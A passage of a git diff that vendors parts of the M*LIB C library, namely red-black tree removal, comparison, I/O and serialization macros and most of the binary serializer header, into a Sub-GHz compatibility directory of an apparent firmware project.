+    /* Classical removal of a node from a binary tree */                      \
+    if (v->child[0] != NULL && v->child[1] != NULL) {                         \
+      /* node has 2 child. */                                                 \
+      /* Get the element right next to the deleted one */                     \
+      v = v->child[1];                                                        \
+      which[cpt++] = 1;                                                       \
+      tab[cpt] = v;                                                           \
+      while (v != NULL) {                                                     \
+        /* Always left node */                                                \
+        M_RBTR33_CONTRACT_NODE (v);                                           \
+        M_ASSERT(M_C3(m_rbtr33_,name,_compute_depth)(v->child[0])             \
+               == M_C3(m_rbtr33_,name,_compute_depth)(v->child[1]));          \
+        which[cpt++] = 0;                                                     \
+        v = v->child[0];                                                      \
+        M_ASSERT (cpt < M_RBTR33_MAX_STACK);                                  \
+        tab[cpt] = v;                                                         \
+      }                                                                       \
+      /* Pop the last element to get the last non-null element */             \
+      v = tab[--cpt];                                                         \
+      M_ASSERT (v != NULL);                                                   \
+      u = v->child[1];                                                        \
+      /* Replace 'v' by 'u' in the tree */                                    \
+      M_ASSERT(cpt >= 1 && tab[cpt-1] != NULL && tab[cpt-1]->child[which[cpt-1]] == v); \
+      tab[cpt-1]->child[which[cpt-1]] = u;                                    \
+      /* Replace 'n' by 'v' in the tree */                                    \
+      M_ASSERT(cpt_n >= 1 && tab[cpt_n-1] != NULL);                           \
+      M_ASSERT(tab[cpt_n-1]->child[which[cpt_n-1]] == n);                     \
+      tab[cpt_n-1]->child[which[cpt_n-1]] = v;                                \
+      v->child[0] = n->child[0];                                              \
+      v->child[1] = n->child[1];                                              \
+      v_color = M_RBTR33_GET_COLOR(v);                                        \
+      M_RBTR33_COPY_COLOR(v, n);                                              \
+      tab[cpt_n] = v;                                                         \
+      /* For the algorithm, 'u' is now the deleted node */                    \
+    } else {                                                                  \
+      /* 1 or no child to the node. Replace the element */                    \
+      v = n;                                                                  \
+      u = v->child[(n->child[0] == NULL)];                                    \
+      M_ASSERT (cpt_n >= 1 &&tab[cpt_n-1] != NULL && tab[cpt_n-1]->child[which[cpt_n-1]] == n); \
+      M_ASSERT (n->child[(n->child[0] != NULL)] == NULL);                     \
+      tab[cpt_n-1]->child[which[cpt_n-1]] = u;                                \
+      /* in all cases, this node shall be set to black */                     \
+    }                                                                         \
+                                                                              \
+    /* Rebalance from child to root */                                        \
+    if (v_color == M_RBTR33_BLACK                                             \
+        && M_C3(m_rbtr33_,name,_black_p)(u)) {                                \
+      /* tab[0] is NULL, tab[1] is root, u is double black */                 \
+      node_t *p = u, *s;                                                      \
+      while (cpt >= 2) {                                                      \
+        p  = tab[--cpt];                                                      \
+        bool nbChild = which[cpt];                                            \
+        M_ASSERT (p != NULL && u == p->child[nbChild]);                       \
+        s = p->child[!nbChild];                                               \
+        /* if sibling is red, perform a rotation to move sibling up */        \
+        if (!M_C3(m_rbtr33_,name,_black_p)(s)) {                              \
+          p = M_C3(m_rbtr33_,name,_rotate) (p, tab[cpt-1], !nbChild);         \
+          M_RBTR33_SET_BLACK(p); /* was sibling */                            \
+          tab[cpt] = p;                                                       \
+          which[cpt++] = nbChild;                                             \
+          p = p->child[nbChild];  /* was parent */                            \
+          M_ASSERT (p != NULL);                                               \
+          M_RBTR33_SET_RED(p);                                                \
+          s = p->child[!nbChild];                                             \
+          M_ASSERT (M_C3(m_rbtr33_,name,_black_p)(s));                        \
+        }                                                                     \
+        M_ASSERT (p != NULL && u == p->child[nbChild]);                       \
+        /* if both children of s are black */                                 \
+        /* perform recoloring and recur on parent if black */                 \
+        if (s != NULL                                                         \
+            && M_C3(m_rbtr33_,name,_black_p)(s->child[0])                     \
+            && M_C3(m_rbtr33_,name,_black_p)(s->child[1])) {                  \
+          M_ASSERT(M_C3(m_rbtr33_,name,_compute_depth)(s->child[0]) == M_C3(m_rbtr33_,name,_compute_depth)(s->child[1])); \
+          M_RBTR33_SET_RED(s);                                                \
+          if (M_RBTR33_IS_RED(p)) {                                           \
+            M_RBTR33_SET_BLACK(p);                                            \
+            M_RBTR33_CONTRACT_NODE(p);                                        \
+            M_ASSERT(M_C3(m_rbtr33_,name,_compute_depth)(p->child[0]) == M_C3(m_rbtr33_,name,_compute_depth)(p->child[1])); \
+            break;                                                            \
+          }                                                                   \
+          u = p;                                                              \
+        } else  {                                                             \
+          M_ASSERT (s != NULL);                                               \
+          /* at least one child of 's' is red */                              \
+          /* perform rotation(s) */                                           \
+          bool childIsRight =  !M_C3(m_rbtr33_,name,_black_p)(s->child[1]);   \
+          m_rbtr33_color_e p_color = M_RBTR33_GET_COLOR (p);                  \
+          if (childIsRight != nbChild) {                                      \
+            /* left-left or right-right case */                               \
+            p = M_C3(m_rbtr33_,name,_rotate) (p, tab[cpt-1], childIsRight);   \
+          } else {                                                            \
+            s = M_C3(m_rbtr33_,name,_rotate) (s, p, childIsRight);            \
+            p = M_C3(m_rbtr33_,name,_rotate) (p, tab[cpt-1], !nbChild);       \
+          }                                                                   \
+          M_RBTR33_SET_COLOR(p, p_color);                                     \
+          M_ASSERT(p->child[0] != NULL && p->child[1] != NULL);               \
+          M_RBTR33_SET_BLACK(p->child[0]);                                    \
+          M_RBTR33_SET_BLACK(p->child[1]);                                    \
+          M_RBTR33_CONTRACT_NODE(p);                                          \
+          M_ASSERT(M_C3(m_rbtr33_,name,_compute_depth)(p->child[0]) == M_C3(m_rbtr33_,name,_compute_depth)(p->child[1])); \
+          break;                                                              \
+        }                                                                     \
+      } /* while */                                                           \
+      if (cpt == 1 /* root has been reached? */ ) {                           \
+        M_C3(m_rbtr33_,name,_set_black)(p);                                   \
+        M_ASSERT (root_dummy.child[0] == p);                                  \
+      }                                                                       \
+    } else {                                                                  \
+      M_C3(m_rbtr33_,name,_set_black)(u);                                     \
+    }                                                                         \
+    tree->node = root_dummy.child[0];                                         \
+    M_ASSERT (tree->node == NULL || M_RBTR33_IS_BLACK(tree->node));           \
+    /* delete it */                                                           \
+    if (data_ptr != NULL)                                                     \
+      M_DO_MOVE(oplist, *data_ptr, n->data);                                  \
+    else                                                                      \
+      M_CALL_CLEAR(oplist, n->data);                                          \
+    M_CALL_DEL(oplist, n);                                                    \
+    tree->size --;                                                            \
+    M_RBTR33_CONTRACT (tree);                                                 \
+    return true;                                                              \
+  }                                                                           \
+                                                                              \
+  M_P(void, name,_remove, tree_t t, it_t it)                                  \
+  {                                                                           \
+    /* Not optimum: another search in the tree is performed */                \
+    type const *data = M_F(name,_cref)(it);                                   \
+    M_F(name,_next)(it);                                                      \
+    M_F(name, _pop_at)M_R(NULL, t, *data);                                    \
+    /* We have changed the tree: the iterator is partially invalid */         \
+    if (!M_F(name, _end_p)(it)) {                                             \
+      M_F(name, _it_from)(it, t, *M_F(name,_cref)(it));                       \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_IF_METHOD(EQUAL, oplist)(                                                 \
+  M_INLINE bool M_F(name,_equal_p)(const tree_t t1, const tree_t t2) {        \
+    M_RBTR33_CONTRACT(t1);                                                    \
+    M_RBTR33_CONTRACT(t2);                                                    \
+    if (t1->size != t2->size) return false;                                   \
+    it_t it1;                                                                 \
+    it_t it2;                                                                 \
+    /* NOTE: We can't compare two tree directly as they can be                \
+       structurally different but functionally equal (you get this by         \
+       constructing the tree in a different way). We have to                  \
+       compare the ordered value within the tree. */                          \
+    M_F(name, _it)(it1, t1);                                                  \
+    M_F(name, _it)(it2, t2);                                                  \
+    while (!M_F(name, _end_p)(it1)                                            \
+           && !M_F(name, _end_p)(it2)) {                                      \
+      type const *ref1 = M_F(name, _cref)(it1);                               \
+      type const *ref2 = M_F(name, _cref)(it2);                               \
+      if (M_CALL_EQUAL(oplist, *ref1, *ref2) == false)                        \
+        return false;                                                         \
+      M_F(name, _next)(it1);                                                  \
+      M_F(name, _next)(it2);                                                  \
+    }                                                                         \
+    return M_F(name, _end_p)(it1)                                             \
+      && M_F(name, _end_p)(it2);                                              \
+  }                                                                           \
+  , /* NO EQUAL METHOD */ )                                                   \
+                                                                              \
+  M_IF_METHOD(HASH, oplist)(                                                  \
+  M_INLINE size_t M_F(name,_hash)(const tree_t t1) {                          \
+    M_RBTR33_CONTRACT(t1);                                                    \
+    M_HASH_DECL(hash);                                                        \
+    /* NOTE: We can't compute the hash directly for the same reason           \
+       than for EQUAL operator. */                                            \
+    it_t it1;                                                                 \
+    M_F(name, _it)(it1, t1);                                                  \
+    while (!M_F(name, _end_p)(it1)) {                                         \
+      type const *ref1 = M_F(name, _cref)(it1);                               \
+      M_HASH_UP(hash, M_CALL_HASH(oplist, *ref1));                            \
+      M_F(name, _next)(it1);                                                  \
+    }                                                                         \
+    return M_HASH_FINAL (hash);                                               \
+  }                                                                           \
+  , /* NO HASH METHOD */ )                                                    \
+
+/* Define the I/O functions */
+#define M_RBTR33_DEF_IO(name, type, oplist, tree_t, node_t, it_t)             \
+  M_IF_METHOD(GET_STR, oplist)(                                               \
+  M_P(void, name, _get_str, m_string_t str, tree_t const t1, bool append)     \
+  {                                                                           \
+    M_RBTR33_CONTRACT(t1);                                                    \
+    M_ASSERT(str != NULL);                                                    \
+    (append ? m_string_cat_cstr : m_string_set_cstr) M_R(str, "[");           \
+    /* NOTE: The print is really naive, and not really efficient */           \
+    bool commaToPrint = false;                                                \
+    it_t it1;                                                                 \
+    M_F(name, _it)(it1, t1);                                                  \
+    while (!M_F(name, _end_p)(it1)) {                                         \
+      if (commaToPrint)                                                       \
+        m_string_push_back M_R(str, M_GET_SEPARATOR oplist);                  \
+      commaToPrint = true;                                                    \
+      type const *ref1 = M_F(name, _cref)(it1);                               \
+      M_CALL_GET_STR(oplist, str, *ref1, true);                               \
+      M_F(name, _next)(it1);                                                  \
+    }                                                                         \
+    m_string_push_back M_R(str, ']');                                         \
+  }                                                                           \
+  , /* NO GET_STR */ )                                                        \
+                                                                              \
+  M_IF_METHOD(OUT_STR, oplist)(                                               \
+  M_INLINE void                                                               \
+  M_F(name, _out_str)(FILE *file, tree_t const rbtree)                        \
+  {                                                                           \
+    M_RBTR33_CONTRACT(rbtree);                                                \
+    M_ASSERT (file != NULL);                                                  \
+    fputc ('[', file);                                                        \
+    it_t it;                                                                  \
+    bool commaToPrint = false;                                                \
+    for (M_F(name, _it)(it, rbtree) ;                                         \
+         !M_F(name, _end_p)(it);                                              \
+         M_F(name, _next)(it)){                                               \
+      if (commaToPrint)                                                       \
+        fputc (M_GET_SEPARATOR oplist, file);                                 \
+      commaToPrint = true;                                                    \
+      type const *item = M_F(name, _cref)(it);                                \
+      M_CALL_OUT_STR(oplist, file, *item);                                    \
+    }                                                                         \
+    fputc (']', file);                                                        \
+  }                                                                           \
+  , /* no out_str */ )                                                        \
+                                                                              \
+  M_IF_METHOD(PARSE_STR, oplist)(                                             \
+  M_P(bool, name, _parse_str, tree_t rbtree, const char str[], const char **endp) \
+  {                                                                           \
+    M_RBTR33_CONTRACT(rbtree);                                                \
+    M_ASSERT (str != NULL);                                                   \
+    M_F(name,_reset)M_R(rbtree);                                              \
+    int c = m_core_str_nospace(&str);                                         \
+    if (M_UNLIKELY (c != '[')) { c = 0; goto exit; }                          \
+    c = m_core_str_nospace(&str);                                             \
+    if (M_UNLIKELY (c == ']' || c == 0)) goto exit;                           \
+    str--;                                                                    \
+    M_QLET(1, item, type, oplist) {                                           \
+      do {                                                                    \
+        bool b = M_CALL_PARSE_STR(oplist, item, str, &str);                   \
+        c = m_core_str_nospace(&str);                                         \
+        if (b == false || c == 0) { c= 0 ; break; };                          \
+        M_F(name, _push)M_R(rbtree, item);                                    \
+      } while (c == M_GET_SEPARATOR oplist);                                  \
+    }                                                                         \
+  exit:                                                                       \
+    if (endp) *endp = str;                                                    \
+    return c == ']';                                                          \
+  }                                                                           \
+  , /* no parse_str */ )                                                      \
+                                                                              \
+  M_IF_METHOD(IN_STR, oplist)(                                                \
+  M_P(bool, name, _in_str, tree_t rbtree, FILE *file)                         \
+  {                                                                           \
+    M_RBTR33_CONTRACT(rbtree);                                                \
+    M_ASSERT (file != NULL);                                                  \
+    M_F(name,_reset)M_R(rbtree);                                              \
+    int c = fgetc(file);                                                      \
+    if (M_UNLIKELY (c != '[')) return false;                                  \
+    c = fgetc(file);                                                          \
+    if (M_UNLIKELY (c == ']')) return true;                                   \
+    if (M_UNLIKELY (c == EOF)) return false;                                  \
+    ungetc(c, file);                                                          \
+    M_QLET(1, item, type, oplist) {                                           \
+      do {                                                                    \
+        bool b = M_CALL_IN_STR(oplist, item, file);                           \
+        c = m_core_fgetc_nospace(file);                                       \
+        if (b == false || c == EOF) { c = 0; break; }                         \
+        M_F(name, _push)M_R(rbtree, item);                                    \
+      } while (c == M_GET_SEPARATOR oplist);                                  \
+    }                                                                         \
+    return c == ']';                                                          \
+  }                                                                           \
+  , /* no in_str */ )                                                         \
+                                                                              \
+  M_IF_METHOD(OUT_SERIAL, oplist)(                                            \
+  M_P(m_serial_return_code_t, name, _out_serial, m_serial_write_t f, tree_t const t1) \
+  {                                                                           \
+    M_RBTR33_CONTRACT(t1);                                                    \
+    M_ASSERT (f != NULL && f->m_interface != NULL);                           \
+    m_serial_local_t local;                                                   \
+    m_serial_return_code_t ret;                                               \
+    M_F(name, _subtype_ct) const *item;                                       \
+    bool first_done = false;                                                  \
+    it_t it;                                                                  \
+    ret = f->m_interface->write_array_start M_R(local, f, t1->size);          \
+    for (M_F(name, _it)(it, t1) ;                                             \
+         !M_F(name, _end_p)(it);                                              \
+         M_F(name, _next)(it)){                                               \
+      item = M_F(name, _cref)(it);                                            \
+      if (first_done)                                                         \
+        ret |= f->m_interface->write_array_next M_R(local, f);                \
+      ret |= M_CALL_OUT_SERIAL(oplist, f, *item);                             \
+      first_done = true;                                                      \
+    }                                                                         \
+    ret |= f->m_interface->write_array_end M_R(local, f);                     \
+    return ret & M_SERIAL_FAIL;                                               \
+  }                                                                           \
+  , /* no OUT_SERIAL */ )                                                     \
+                                                                              \
+  M_IF_METHOD(IN_SERIAL, oplist)(                                             \
+  M_P(m_serial_return_code_t, name, _in_serial, tree_t t1, m_serial_read_t f) \
+  {                                                                           \
+    M_RBTR33_CONTRACT(t1);                                                    \
+    M_ASSERT (f != NULL && f->m_interface != NULL);                           \
+    m_serial_local_t local;                                                   \
+    m_serial_return_code_t ret;                                               \
+    size_t estimated_size = 0;                                                \
+    M_F(name,_reset)M_R(t1);                                                  \
+    ret = f->m_interface->read_array_start(local, f, &estimated_size);        \
+    if (M_UNLIKELY (ret != M_SERIAL_OK_CONTINUE)) return ret;                 \
+    M_QLET(1, key, type, oplist) {                                            \
+      do {                                                                    \
+        ret = M_CALL_IN_SERIAL(oplist, key, f);                               \
+        if (ret != M_SERIAL_OK_DONE) { break; }                               \
+        M_F(name, _push)M_R(t1, key);                                         \
+        ret = f->m_interface->read_array_next(local, f);                      \
+      } while (ret == M_SERIAL_OK_CONTINUE);                                  \
+    }                                                                         \
+    return ret;                                                               \
+  }                                                                           \
+  , /* no in_serial */ )                                                      \
+                                                                              \
+
+
+/********************************** INTERNAL *********************************/
+
+// TODO: specialized _sort shall do nothing, but shall check the requested order. How ?
+#if M_USE_SMALL_NAME
+#define RBTREE_DEF M_RBTREE_DEF
+#define RBTREE_DEF_AS M_RBTREE_DEF_AS
+#define RBTREE_OPLIST M_RBTREE_OPLIST
+#endif
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/mlib/m-serial-bin.h b/lib/subghz_unleashed_compat/include/mlib/m-serial-bin.h
new file mode 100644
index 000000000..b7cda0a40
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/mlib/m-serial-bin.h
@@ -0,0 +1,552 @@
+/*
+ * M*LIB - Serial BIN
+ *
+ * Copyright (c) 2017-2026, Patrick Pelissier
+ * All rights reserved.
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * + Redistributions of source code must retain the above copyright
+ *   notice, this list of conditions and the following disclaimer.
+ * + Redistributions in binary form must reproduce the above copyright
+ *   notice, this list of conditions and the following disclaimer in the
+ *   documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+#ifndef MSTARLIB_SERIAL_BIN_H
+#define MSTARLIB_SERIAL_BIN_H
+
+#include <stdint.h>
+
+#include "m-core.h"
+#include "m-string.h"
+
+M_BEGIN_PROTECTED_CODE
+
+
+/********************************************************************************/
+/************************** FILE / WRITE / BIN    *******************************/
+/********************************************************************************/
+
+/* Internal service:
+ * Write size_t in the stream in a compact form to reduce consumption
+ * (and I/O bandwidth)
+ */
+M_INLINE bool
+m_ser1al_bin_write_size(FILE *f, const size_t size)
+{
+  bool b;
+  if (M_LIKELY(size < 253))
+  {
+    b = EOF != fputc((unsigned char) size, f);
+  } else if (size < 1ULL << 16) {
+    b = EOF != fputc(253, f);    // Save 16 bits encoding
+    b &= EOF != fputc((unsigned char) (size >> 8), f);
+    b &= EOF != fputc((unsigned char) size, f);
+  } 
+// For 32 bits systems, don't encode a 64 bits size_t
+ #if SIZE_MAX < 1ULL<< 32
+  else {
+    b = EOF != fputc(254, f);    // Save 32 bits encoding
+    b &= EOF != fputc((unsigned char) (size >> 24), f);
+    b &= EOF != fputc((unsigned char) (size >> 16), f);
+    b &= EOF != fputc((unsigned char) (size >> 8), f);
+    b &= EOF != fputc((unsigned char) size, f);
+  }
+ #else 
+  else if (size < 1ULL<< 32) {
+    b = EOF != fputc(254, f);    // Save 32 bits encoding
+    b &= EOF != fputc((unsigned char) (size >> 24), f);
+    b &= EOF != fputc((unsigned char) (size >> 16), f);
+    b &= EOF != fputc((unsigned char) (size >> 8), f);
+    b &= EOF != fputc((unsigned char) size, f);
+  } else {
+    b = EOF != fputc(255, f);    // Save 64 bits encoding
+    b &= EOF != fputc((unsigned char) (size >> 56), f);
+    b &= EOF != fputc((unsigned char) (size >> 48), f);
+    b &= EOF != fputc((unsigned char) (size >> 40), f);
+    b &= EOF != fputc((unsigned char) (size >> 32), f);
+    b &= EOF != fputc((unsigned char) (size >> 24), f);
+    b &= EOF != fputc((unsigned char) (size >> 16), f);
+    b &= EOF != fputc((unsigned char) (size >> 8), f);
+    b &= EOF != fputc((unsigned char) size, f);
+  }
+#endif
+  return b;
+}
+
+/* Internal service:
+ * Read size_t in the stream from a compact form to reduce consumption
+ * (and I/O bandwidth)
+ */
+M_INLINE bool
+m_ser1al_bin_read_size(FILE *f, size_t *size)
+{
+  int c;
+  c = fgetc(f);
+  if (M_UNLIKELY(c == EOF)) return false;
+  if (M_LIKELY(c < 253)) {
+    *size = (size_t) c;
+    return true;
+  }
+  size_t s = 0;
+  int l = (c == 255) ? 8 : (c == 254) ? 4 : 2;
+  for(int i = 0; i < l; i++) {
+      c = fgetc(f);
+      if (M_UNLIKELY(c == EOF)) return false;
+      s = (s << 8) | (size_t) c;
+  }
+  *size = s;
+  return true;
+}
+
+/* Write the boolean 'data' into the serial stream 'serial'.
+   Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_bin, _write_boolean, m_serial_write_t serial, const bool data)
+{
+  M_UNUSED_CONTEXT();
+  FILE *f = (FILE *)serial->data[0].p;
+  size_t n = fwrite (M_ASSIGN_CAST(const void*, &data), sizeof (bool), 1, f);
+  return n == 1 ? M_SERIAL_OK_DONE : m_core_serial_fail();
+}
+
+/* Write the integer 'data' of 'size_of_type' bytes into the serial stream 'serial'.
+   Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_bin, _write_integer, m_serial_write_t serial,const long long data, const size_t size_of_type)
+{
+  M_UNUSED_CONTEXT();
+  size_t n;
+  
+  FILE *f = (FILE *)serial->data[0].p;
+  if (size_of_type == 1) {
+    int8_t i8 = (int8_t) data;
+    n = fwrite (M_ASSIGN_CAST(const void*, &i8), sizeof i8, 1, f);
+  } else if (size_of_type == 2) {
+    int16_t i16 = (int16_t) data;
+    n = fwrite (M_ASSIGN_CAST(const void*, &i16), sizeof i16, 1, f);
+  } else if (size_of_type == 4) {
+    int32_t i32 = (int32_t) data;
+    n = fwrite (M_ASSIGN_CAST(const void*, &i32), sizeof i32, 1, f);
+  } else {
+    M_ASSERT(size_of_type == 8);
+    int64_t i64 = (int64_t) data;
+    n = fwrite (M_ASSIGN_CAST(const void*, &i64), sizeof i64, 1, f);
+  }
+  return n == 1 ? M_SERIAL_OK_DONE : m_core_serial_fail();
+}
+
+/* Write the float 'data' of 'size_of_type' bytes into the serial stream 'serial'.
+   Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_bin, _write_float, m_serial_write_t serial, const long double data, const size_t size_of_type)
+{
+  M_UNUSED_CONTEXT();
+  size_t n;
+  
+  FILE *f = (FILE *)serial->data[0].p;
+  if (size_of_type == sizeof (float) ) {
+    float f1 = (float) data;
+    n = fwrite (M_ASSIGN_CAST(const void*, &f1), sizeof f1, 1, f);
+  } else if (size_of_type == sizeof (double) ) {
+    double f2 = (double) data;
+    n = fwrite (M_ASSIGN_CAST(const void*, &f2), sizeof f2, 1, f);
+  } else {
+    M_ASSERT(size_of_type == sizeof (long double) );
+    long double f3 = (long double) data;
+    n = fwrite (M_ASSIGN_CAST(const void*, &f3), sizeof f3, 1, f);
+  }
+  return n == 1 ? M_SERIAL_OK_DONE : m_core_serial_fail();
+}
+
+/* Write the null-terminated string 'data'into the serial stream 'serial'.
+   Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_bin, _write_string, m_serial_write_t serial, const char data[], size_t length)
+{
+  M_UNUSED_CONTEXT();
+  M_ASSERT_SLOW(length == strlen(data) );
+  FILE *f = (FILE *)serial->data[0].p;
+  M_ASSERT(f != NULL && data != NULL);
+  // Write first the number of (non null) characters
+  if (m_ser1al_bin_write_size(f, length) != true) return m_core_serial_fail();
+  // Write the characters (excluding the final null char)
+  // NOTE: fwrite supports length == 0.
+  size_t n = fwrite (M_ASSIGN_CAST(const void*, data), 1, length, f);
+  return (n == length) ? M_SERIAL_OK_DONE : m_core_serial_fail();
+}
+
+/* Start writing an array of 'number_of_elements' objects into the serial stream 'serial'.
+   If 'number_of_elements' is 0, then either the array has no data,
+   or the number of elements of the array is unkown.
+   Initialize 'local' so that it can be used to serialize the array 
+   (local is an unique serialization object of the array).
+   Return M_SERIAL_OK_CONTINUE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_bin, _write_array_start, m_serial_local_t local, m_serial_write_t serial, const size_t number_of_elements)
+{
+  M_UNUSED_CONTEXT();
+  (void) local; //Unused
+  if (number_of_elements == (size_t)-1) return M_SERIAL_FAIL_RETRY;
+  FILE *f = (FILE *)serial->data[0].p;
+  size_t n = fwrite (M_ASSIGN_CAST(const void*, &number_of_elements), sizeof number_of_elements, 1, f);
+  return n == 1 ? M_SERIAL_OK_CONTINUE : m_core_serial_fail();
+}
+
+/* Write an array separator between elements of an array into the serial stream 'serial' if needed.
+   Return M_SERIAL_OK_CONTINUE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_bin, _write_array_next, m_serial_local_t local, m_serial_write_t serial)
+{
+  M_UNUSED_CONTEXT();
+  (void) local; // Unused
+  (void) serial; // Unused
+  return M_SERIAL_OK_CONTINUE;
+}
+
+/* End the writing of an array into the serial stream 'serial'.
+   Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_bin, _write_array_end, m_serial_local_t local, m_serial_write_t serial)
+{
+  M_UNUSED_CONTEXT();
+  (void) local; // Unused
+  (void) serial; // Unused
+  return M_SERIAL_OK_CONTINUE;
+}
+
+/* Write a value separator between element of the same pair of a map into the serial stream 'serial' if needed.
+   Return M_SERIAL_OK_CONTINUE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_bin, _write_map_value, m_serial_local_t local, m_serial_write_t serial)
+{
+  M_UNUSED_CONTEXT();
+  (void) local; // argument not used
+  (void) serial;
+  return M_SERIAL_OK_CONTINUE;
+}
+
+/* Start writing a tuple into the serial stream 'serial'.
+   Initialize 'local' so that it can serial the tuple 
+   (local is an unique serialization object of the tuple).
+   Return M_SERIAL_OK_CONTINUE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_bin, _write_tuple_start, m_serial_local_t local, m_serial_write_t serial)
+{
+  M_UNUSED_CONTEXT();
+  (void) local; // argument not used
+  (void) serial;
+  return M_SERIAL_OK_CONTINUE;
+}
+
+/* Start writing the field named field_name[index] of a tuple into the serial stream 'serial'.
+   Return M_SERIAL_OK_CONTINUE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_bin, _write_tuple_id, m_serial_local_t local, m_serial_write_t serial, const char *const field_name[], const int max, const int index)
+{
+  M_UNUSED_CONTEXT();
+  (void) local; // argument not used
+  (void) serial;
+  (void) field_name;
+  (void) max;
+  (void) index; // Assume index are write in order from 0 to max.
+  return M_SERIAL_OK_CONTINUE;
+}
+
+/* End the write of a tuple into the serial stream 'serial'.
+   Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_bin, _write_tuple_end, m_serial_local_t local, m_serial_write_t serial)
+{
+  M_UNUSED_CONTEXT();
+  (void) local; // argument not used
+  (void) serial;
+  return M_SERIAL_OK_DONE;
+}
+
+/* Start writing a variant into the serial stream 'serial'.
+   If index <= 0, the variant is empty.
+     Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise 
+   Otherwise, the field 'field_name[index]' will be filled.
+     Return M_SERIAL_OK_CONTINUE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_bin, _write_variant_start, m_serial_local_t local, m_serial_write_t serial, const char *const field_name[], const int max, const int index)
+{
+  M_UNUSED_CONTEXT();
+  (void) field_name;
+  (void) max;
+  (void) local;
+  FILE *f = (FILE *)serial->data[0].p;
+  size_t n = fwrite (M_ASSIGN_CAST(const void*, &index), sizeof index, 1, f);
+  return n == 1 ? ((index < 0) ? M_SERIAL_OK_DONE : M_SERIAL_OK_CONTINUE) : m_core_serial_fail();
+}
+
+/* End Writing a variant into the serial stream 'serial'. 
+   Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_bin, _write_variant_end, m_serial_local_t local, m_serial_write_t serial)
+{
+  M_UNUSED_CONTEXT();
+  (void) local; // argument not used
+  (void) serial;
+  return M_SERIAL_OK_DONE;
+}
+
+/* The exported interface. */
+static const m_serial_write_interface_t m_ser1al_bin_write_interface = {
+  m_ser1al_bin_write_boolean,
+  m_ser1al_bin_write_integer,
+  m_ser1al_bin_write_float,
+  m_ser1al_bin_write_string,
+  m_ser1al_bin_write_array_start,
+  m_ser1al_bin_write_array_next,
+  m_ser1al_bin_write_array_end,
+  m_ser1al_bin_write_array_start,
+  m_ser1al_bin_write_map_value,
+  m_ser1al_bin_write_array_next,
+  m_ser1al_bin_write_array_end,
+  m_ser1al_bin_write_tuple_start,
+  m_ser1al_bin_write_tuple_id,
+  m_ser1al_bin_write_tuple_end,
+  m_ser1al_bin_write_variant_start,
+  m_ser1al_bin_write_variant_end
+};
+
+M_INLINE void m_serial_bin_write_init(m_serial_write_t serial, FILE *f)
+{
+  serial->m_interface = &m_ser1al_bin_write_interface;
+  serial->data[0].p = M_ASSIGN_CAST(void*, f);
+}
+
+M_INLINE void m_serial_bin_write_clear(m_serial_write_t serial)
+{
+  (void) serial; // Nothing to do
+}
+
+
+/* Define a synonym of m_serial_read_t to the BIN serializer with its proper OPLIST */
+typedef m_serial_write_t m_serial_bin_write_t;
+
+#define M_OPL_m_serial_bin_write_t()                                          \
+  (INIT_WITH(m_serial_bin_write_init), CLEAR(m_serial_bin_write_clear),       \
+  TYPE(m_serial_bin_write_t), PROPERTIES(( LET_AS_INIT_WITH(1) )) )
+
+
+
+/********************************************************************************/
+/************************** FILE / READ  / BIN    *******************************/
+/********************************************************************************/
+
+/* Read from the stream 'serial' a boolean.
+   Set '*b' with the boolean value if succeeds 
+   Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise */
+M_INLINE  m_serial_return_code_t
+m_ser1al_bin_read_boolean(m_serial_read_t serial, bool *b){
+  FILE *f = (FILE*) serial->data[0].p;
+  size_t n = fread (M_ASSIGN_CAST(void*, b), sizeof (bool), 1, f);
+  return n == 1 ? M_SERIAL_OK_DONE : m_core_serial_fail();
+}
+
